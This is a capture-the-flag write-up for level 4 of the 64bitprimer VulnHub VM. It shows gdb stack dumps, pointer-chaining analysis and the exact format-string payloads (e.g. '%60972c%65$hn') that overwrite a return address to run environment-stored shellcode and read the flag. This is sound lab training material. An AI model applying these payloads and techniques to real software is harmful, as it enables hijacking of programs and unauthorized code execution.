This is a writeup of the format string vulnerability in level 4 of the 64bitprimer VM from vulnhub.com. ASLR and DEP are both turned off for this challenge. There's a format string bug in the takeNotes function within chall4. In short, with a format string attack, one can use %DDDDDc where DDDDD<65536 to create up to a two byte value, %DD to point to a particular element of the stack, $lx or similar to show the value of an element, $n, $hn and $hhn to write values where the %DD value is pointing. This means I can find a pointer and use it to write one or two bytes to where it points to. e.g. to write the single byte 0xaa (170 decimal) to an address pointed to by element 25, I can use the statement %170c%25$hhn. To write the two bytes 0xffff (65535 decimal), I can use the statement %65535c%25$hn. If I can find a value that points to an item on the stack, I can write to the item pointed to using the first pointer, then use the second pointer (the one just written to) to point to another location to write to. The benefit is that by incrementing the second pointer via the first pointer, many areas of memory can be written to. So, We need to find two elements on the stack: one that points to another item on the stack, and the other item that gets pretty close to pointing at the return address from the function. I've run the program in gdb until after the first line of input (abcd) and pulled the stack for analysis.
stack 0x7fffffffe8e0: 0x00007ffff7ff74c0 0x00007fffffffee29 0x7fffffffe8f0: 0x0000000a64636261 0x00000000004002d8 0x7fffffffe900: 0x0000000100000000 0x0000000100000190 0x7fffffffe910: 0x00007ffff7ffa160 0x00007fffffffea98 0x7fffffffe920: 0x00007fffffffea70 0x00007ffff7ff7a10 0x7fffffffe930: 0x0000000000000001 0x00007ffff7ffe520 0x7fffffffe940: 0x00007ffff7ffe1c8 0x00007ffff7de4961 0x7fffffffe950: 0x0000000000000000 0x00007ffff7ff7a10 0x7fffffffe960: 0x00007fff00000001 0x0000000000000000 0x7fffffffe970: 0x0000000000000001 0x00007ffff7ffe1c8 0x7fffffffe980: 0x00007ffff7a18d30 0x00007fffffffeac0 0x7fffffffe990: 0x00007ffff7a251f8 0x0000000003d8f538 0x7fffffffe9a0: 0x0000000000000000 0x00007ffff7dd4400 0x7fffffffe9b0: 0x0000000000000400 0x00007ffff7a82846 0x7fffffffe9c0: 0x000000000000000e 0x0000000000000003 0x7fffffffe9d0: 0x0000000000000001 0x000003f900002190 0x7fffffffe9e0: 0x0000000000000005 0x0000000000008800 0x7fffffffe9f0: 0x0000000000000000 0x0000000000000400 0x7fffffffea00: 0x0000000000000000 0x0000000058017f51 0x7fffffffea10: 0x000000001c650b00 0x0000000058017f51 0x7fffffffea20: 0x000000001c650b00 0x0000000058017f20 0x7fffffffea30: 0x000000001c650b00 0x0000000000000000 0x7fffffffea40: 0x0000000000000000 0x00007ffff7a8df03 0x7fffffffea50: 0x00007ffff7dd4400 0x00007ffff7dd4400 0x7fffffffea60: 0x000000000000000e 0x00007ffff7a8df03 0x7fffffffea70: 0x0000000000000000 0x00007ffff7dd4400 0x7fffffffea80: 0x0000000000000001 0x00007ffff7ff5000 0x7fffffffea90: 0x00007fffffffec00 0x00007ffff7a8f3dc 0x7fffffffeaa0: 0x0000000000000000 0x00007ffff7dd4400 0x7fffffffeab0: 0x000000000000000a 0x00000000004009a4 0x7fffffffeac0: 0x00007fffffffec00 0x00007ffff7a8f7b3 0x7fffffffead0: 0x00007ffff7dd4400 0x000000000000000e 0x7fffffffeae0: 0x00000000004009a4 0x00007ffff7a84ea2 0x7fffffffeaf0: 0x0000000000602010 0x00000000ffffeb20
Get a gross list of potential pointers (point to something on the stack):
~/Downloads/Hacking/64bitprimer $ for i in $(grep 0x00007fffffffe stack.txt);do j=$(echo $i | cut -d" " -f 1);echo $j|grep 0x00007fffffffe;j=$(echo $i |cut -d" " -f 2);echo $j|grep 0x00007fffffffe; done 0x00007fffffffee29 0x00007fffffffee29 0x00007fffffffea98 0x00007fffffffea98 0x00007fffffffea70 0x00007fffffffea70 0x00007fffffffeac0 0x00007fffffffeac0 0x00007fffffffec00 0x00007fffffffec00 0x00007fffffffec00 0x00007fffffffec00
From main, find the return address from the takeNotes call:
0x0000000000400833 <+117>: mov rdi,rax 0x0000000000400836 <+120>: call 0x4007160x000000000040083b <+125>: mov eax,0x0 gdb-peda$ x/6xg $rbp 0x7fffffffeb00: 0x00007fffffffeb20 0x000000000040083b<-return address 0x7fffffffeb10: 0x00007fffffffec08 0x0000000200000000
Unique/sorted list of potential pointers into the stack:
Pointer Contents (manual lookup in stack listing) 0x00007fffffffea70 0x0000000000000000 0x00007fffffffea98 0x00007ffff7a8f3dc 0x00007fffffffeac0 0x00007fffffffec00 0x00007fffffffec00 stopped looking here because line 0x00007fffffffee29 3 satisfies my conditions
The third pointer looks good because:
1) We need to keep the first write down to 2 bytes, the pointer address is fixed
2) The destination where the return pointer is $rbp + 8 (0x7fffffffeb08): the first 6 bytes are the same as the pointer's contents. This will be easy.
Excerpt from stack listing above:
0x7fffffffe970: 0x0000000000000001 0x00007ffff7ffe1c8 0x7fffffffe980: 0x00007ffff7a18d30 0x00007fffffffeac0<--3rd Pointer 0x7fffffffe990: 0x00007ffff7a251f8 0x0000000003d8f538
Find the 3rd Pointer (short list) on the stack at 0x7fffffffe988. So now I can write to what's in 0x00007fffffffeac0, make that point to $rbp + 8 (0x7fffffffeb08) and use the second pointer to overwrite the return address for the takeNotes routine. Armed with a strategy, no need for a debugger any more, so break out of gdb and start working with real addresses.
The gdb stack is offset a bit from what it is from the command line. With the info above, an adjustment can be calculated. To do that, I need to be able to run the program a bunch of times to dump the stack. Here's my command to dump the first 75 items from the stack:
/* BTW, it's important to have the shellcode loaded so the stack is set up like runtime. I'm storing it in an environment variable. Mine was generated using pwntools and 100 nops preceded the code. I also will need the address of the shellcode, retrieved with getenv.
n00b@64bitprimer:~/level4$ export VULN=`/tmp/work/putenv.py` n00b@64bitprimer:~/level4$ /tmp/work/getenv VULN : 0x7fffffffee2c
*/
for i in $(seq 1 75); do echo $i: \%$i\$lx$'\n\n' |./chall4 temp.txt; done n00b@64bitprimer:~/level4$ tail temp.txt 71: 602010 72: ffffeac0 73: 7fffffffeac0 74: 40083b 75: 7fffffffeba8
So, we get a list of the stack, with the element number they can be called with. Number 74 jumps out as the return address. The address before that can be used to calculate the gdb versus shell stack addresses.
shell 7fffffffeac0 minus gdb 7fffffffeb20 equals -0x60
So that's the adjustment we need to make on all the elements we're working on. For instance, to find which element contains our first pointer:
First pointer contents - 0x60 = 0x00007fffffffeac0 - 0x60 = 0x00007fffffffea60 Search for that in the list:
n00b@64bitprimer:~/level4$ grep 7fffffffea60 temp.txt 26: 7fffffffea60
Now find the second value (Contents column, line 3): 0x00007fffffffec00 - 0x60 = 7fffffffeba0
n00b@64bitprimer:~/level4$ grep 7fffffffeba0 temp.txt 59: 7fffffffeba0 65: 7fffffffeba0
There are two possible places 26 might be pointing. I'll do a test write putting 0xbb (187 decimal) in the low byte using $hhn and see which changes and use $lx to print them out. These are the inputs:
59:%59$lx 65:%65$lx %187c%26$hhn 59:%59$lx 65:%65$lx
Results:
59:7fffffffeba0 65:7fffffffeba0 59:7fffffffeba0 65:7fffffffebbb
So, it's writing to element 65. Putting it all together, we can use element 26 to write the address of the return pointer into element 65. We then use element 65 to write the address of the shellcode (environment variable VULN), and finally use element 26 to restore element 65.
Address of return address: 0x7fffffffeb08 - 0x60 = 0x7fffffffeaa8. Write 0xeaa8 (60072) to 65
%60072c%26$hn
Address of shellcode is 0x7fffffffee2c. Write ee2c (60972) to the lowest 2 bytes of return address.
%60972c%65$hn
Increment the pointer in 65 by 2, i.e. write a8 + 2, aa (170) to lowest byte
%170c%26$hhn
Write next 2 bytes of shellcode address to return address 0xffff = 65535
%65535c%65$hn
Increment pointer
%172c%26$hhn
Write final 2 bytes of shellcode address to return address 0x7fff = 32767
%32767c%65$hn
And restore the original bytes in element 65 0xeba0 = 60320
%60320c%26$hn
We should be golden.
n00b@64bitprimer:~/level4$ ./chall4 temp.txt #---------------------------------# Welcome to notepad-- (minus minus)! #---------------------------------# For all your coding and note-taking necessities. Press enter twice to write the file to disk. %60072c%26$hn %60972c%65$hn %170c%26$hhn %65535c%65$hn %172c%26$hhn %32767c%65$hn %60320c%26$hn $ id uid=1004(level4) gid=1017(n00b) groups=1004(level4),1017(n00b) $ ls chall4 flag-level4 notesfile.txt temp.txt $ cat flag-level4 flag{b4bys_f1rst_f0rm4t_%string}
This is a writeup of the format string vulnerability in level 4 of the 64bitprimer VM from vulnhub.com. ASLR and DEP are both turned off for this challenge.